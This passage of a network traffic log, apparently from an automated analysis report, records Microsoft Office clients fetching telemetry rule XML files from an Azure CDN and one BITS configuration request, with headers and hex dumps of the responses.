2024-10-18 21:46:34 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:34 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: afcb177d-401e-0064-0e3a-2054af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214634Z-15b8d89586fs9clcebkvq6f0sc00000005kg00000000fbmz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:34 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:34 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:34 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:34 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8bfd770a-c01e-00a2-078a-212327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214634Z-r197bdfb6b4t7wszdvrfk02ah400000000pg00000000un10 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:34 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:35 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:35 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:35 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: a14e0622-f01e-003f-07d8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214635Z-15b8d89586flspj6f2320qac9400000005tg000000000q6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:35 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:35 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:35 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:35 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: f8617515-201e-0071-0ed8-1eff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214635Z-15b8d89586f4zwgbz365q03b0c00000005s0000000008yh3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:35 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:35 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:35 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:35 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: f0634356-701e-0021-2c92-1f3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214635Z-15b8d89586fqj7k5uht6e8nnew00000005hg000000004pu1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:35 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:35 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:35 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:35 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 619f2964-b01e-005c-1cd8-1e4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214635Z-16b659b4499r9jvzdsrvx9g86w0000000a3000000000yv4c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:35 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:35 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:35 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:35 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 746ae867-101e-00a2-15d8-1e9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214635Z-16b659b4499wvth4ttszf0h3n400000009cg00000000rgwy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:35 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49824	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:36 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-18 21:46:36 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=241146 Date: Fri, 18 Oct 2024 21:46:36 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:36 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:36 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:36 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 407712ee-701e-0021-3ed8-1e3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214636Z-r197bdfb6b4k6h5j1g5mvtmsmn00000003ng00000000ehc3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:36 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:36 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:37 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:36 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: caad473b-c01e-0034-52d8-1e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214636Z-16b659b4499qzkzdaxyf40k2c00000000atg00000000euku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:37 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:36 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:37 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:36 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 52eece22-901e-0029-4cd8-1e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214636Z-15b8d89586fhl2qtt2ydkugwts00000005fg00000000fqew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:37 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:36 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:37 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:36 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 057c9cd8-201e-0096-5dd8-1eace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214636Z-15b8d89586flspj6f2320qac9400000005s0000000005ahu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:37 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:36 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
